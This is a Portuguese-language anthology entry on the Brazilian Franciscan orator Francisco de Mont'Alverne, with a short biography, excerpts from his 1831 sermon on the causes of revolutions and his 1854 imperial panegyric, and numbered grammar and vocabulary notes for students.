FRANCISCO DE MONT ALVERNE

FR. FRANCISCO DE MONTALVERNE, que no século se chamou Francisco José de Carvalho e às vezes é grafado como Francisco do Monte Alverne (Rio de Janeiro, 1784-1858) professou no Convento de Santo Antônio da Ordem franciscana, e na cátedra sagrada igualou, se não excedeu, aos primeiros pregadores em língua portuguesa. No ensino da Filosofia, por mais de uma vez arrebatou a mocidade com preleções em que doutrinava a discípulos como Antônio Félix Martins, depois Barão de São Félix, e Domingos J. G. de Magalhães, mais tarde Visconde de Araguaia.

Em 1832 escureceu-se-lhe a vista, nem mais achou remédio para a terrível amaurose. Após dezoito anos de obrigado silêncio, subiu ao púlpito para pregar na festa de São Pedro de Alcântara — 19 de outubro de 1854 — a pedido do Imperador, e então conseguiu magnífico triunfo oratório.

Mont’Alverne, no sentir do Sr. Dr. Ramiz Galvão, abusava do ornato, não variava assaz o plano de seus discursos, e não foi impecável na linguagem. É certo; mas pela poética magia da frase e sustentada pompa do estilo, com justiça figuraria entre os grandes oradores de qualquer país.

Posto que mais propriamente tivesse Mont’Alverne florescido na fase contemporânea, não nos pareceu mal colocá-lo junto dos seus gloriosos antecessores da Ordem franciscana, e nisto, além de outros, seguimos a Fernandes Pinheiro, na sua Literatura Nacional.

Causas das Revoluções

É uma injustiça reconhecer nas revoluções políticas dos povos a influência exclusiva das paixões e dos crimes individuais. É um absurdo pretender que as nações se deixem arrastar por uma cega fatalidade sobre abismos onde vão perder sua grandeza e sua glória. Folheando os anais dos povos, consultando os monumentos que atestam a passagem destas lavas que têm engolido as monarquias e as mais florentes repúblicas, a Filosofia assinala com segurança a causa dessas comoções violentas que têm sacudido as gerações e tantas vezes ameaçado a existência do gênero humano. Há um sentimento de felicidade que levanta o seu grito poderoso no seio dos povos, como domina imperiosamente no coração de cada homem. Esta expressão de magnanimidade, estas inspirações do heroísmo, esta necessidade de glória, que lançam nos mais soberbos teatros estes gênios destinados a marcar uma época nos fastos do Universo, pulsam (321) na arena as diferentes frações do gênero humano, que por um instinto da razão, por um sentimento da dignidade nacional, precipitam-se (322) após esta liberdade, sem a qual são perdidas sua consideração e grandeza.

Por o abuso mais escandaloso roubou-se (323) às nações este florão da sua glória. Por a (324) mais iníqua de todas as injustiças o homem aparece no seio do universo como uma besta feroz, dilacerando os seus semelhantes, quebrando os monumentos e a civilização, destruindo na sua raiva os troféus consagrados por as artes, e levantado sobre as ruínas como um gênio da morte, de destruição e carnagem. Todavia, a despeito de iodas essas sombras melancólicas, logo que os prejuízos não influem mais sobre a razão, desde que as paixões cessam de empregar suas cores factícias, é fácil de entrever nestas reações espantosas e formidáveis a luta sublime da razão contra os abusos de um poder que, fazendo-se (325) tirânico e opressor, tenha cessado de preencher seus fins importantes e sublimes; não é difícil de reconhecer a nobre expressão de vingança com que os povos, cansados de suportar seu aviltamento, fazem em pedaços (326) esses tronos, esses cetros, essas machadinhas, essas cadeiras de marfim, que, manchando-se no sangue dos povos que os haviam criado para a sua felicidade, eram um título de opressão e um monumento de opróbrio, de escravidão e de vingança. O sábio já tinha dito que as revoluções dos povos eram causadas por a perfídia, os ultrajes, as violências e injustiças que se lhes faziam sofrer. Êle tinha visto as cadeiras dos orgulhosos da terra engolidas no meio desses terremotos políticos, que seus excessos tinham provocado. É nessas barreiras formidáveis (327) que se despedaçam todos esses opressores que fundam a sua grandeza e a sua glória nas lágrimas, nos gemidos e na miséria dos povos.

(Sermão de 25 de março de 1831, na igreja de São Francisco de Paula).

Ê muito tarde

Não, não poderei terminar o quadro que acabei de bosquejar; compelido por uma força irresistível a encetar de novo a carreira que percorri vinte e seis anos, quando a imaginação está extinta, quando a robustez da inteligência está enfraquecida por tantos esforços, quando não vejo as galas do santuário e eu mesmo pareço estranho àqueles que me escutam, como desempenhar esse passado tão fértil em reminiscências? como reproduzir esses transportes, esse enlevo com que realcei as festas da Religião e da Pátria? É tarde!… É muito tarde!… Seria impossível reconhecer um carro de triunfo neste púlpito, que há dezoito anos é para mim um pensamento sinistro, uma recordação aflitiva, um fantasma infenso e importuno, a pira em que arderam meus olhos, e cujos degraus desci, só e silencioso, para esconder-me no retiro do claustro. Os bardos do Tabor, os cantores do Hermon e do Sinai, batidos da tribulação, devorados dos pesares, não ouvindo mais os ecos repetirem as estrofes dos seus cânticos nas quebradas de suas montanhas pitorescas, e escutando a voz do deserto, que levava ao longe a melodia dos seus hinos, penduravam os seus alaúdes nos salgueiros que bordavam o rio da escravidão; e, quando os homens que apreciavam as suas composições, quando aqueles que se deleitavam com os perfumes de seu estilo e a beleza de suas imagens, vinham pedir-lhes a reprodução dessas epopéias em que se perpetuavam as memórias de seus antepassados e as maravilhas do Todo Poderoso, — eles cobriam suas faces umedecidas do pranto, e abandonavam as cordas frouxas e desafinadas de seus instrumentos músicos ao vento das tempestades. (328).

Religião divina, misteriosa e encantadora, tu, que dirigiste meus passos na vereda escabrosa da eloqüência, tu, a quem devo todas as minhas inspirações, tu, minha estrela, minha consolação, meu único refúgio, toma esta coroa… Se dos espinhos que a cercam rebentar alguma flor, se das silvas que a enlaçam reverdecerem algumas folhas, se um adorno renascer destas ver-gônteas já secas: — deposita-os nas mãos do Imperador, para que os supenda como um troféu sobre o altar do grande homem a quem êle deve seu nome, e o Brasil a proteção mais decidida.

(Panegírico de D. Pedro de Alcântara, proferido na Capela Imperial, em 19 de outubro de 1854)

Vocabulário

(321) pulsam = impelem, impulsionam, agitam (transitivo).
(322)
Melhor: se precipitam.
(323) roubou-se — se apassivativo.
(324) As combinações por o, por a, por os, por as, empregadas aqui por Mont’Alverne e usadas dos antigos, e as formas arcaicas polo, pola, poios, polas encontram-se, na linguagem atual, substituídas, definitivamente, por pelo, pela, pelos, pelas. O por e o per, em correspondência com o lat. pro e per, distinguiam-se no passado: Morria-se pola Pátria (em favor da Pátria) e andava-se pelos campos (através dos campos). Hoje per é simplesmente prefixo e subsiste apenas em pelo {per -f lo), percentagem e nas loc. de per si e de permeio.
(325) O se é enclítico aqui (como seis unhas abaixo: manchando-se), porque está preso ao gerúndio independente, participante de uma oração que nada tem com o que anterior. V. nn. 132, 192, 237.
(326) — jazer em pedaços = espedaçar, despedaçar ou fazer pedaços, como escreviam os clássicos e, modernamente, o nosso Rui, mais de uma vez:… "a sua ditadura [de Rosas] se fez pedaços"… (.Cartas de Ingl., 2.a ed., p. 379.
(327) formidáveis. V. nn. 149 e 434.

(328) Nas dez vezes em que se depara, neste período, o possessivo da 3.a pessoa {seu, seus, suas), há três em que é êle naturalmente dispensável, como pode verificar o estudante.

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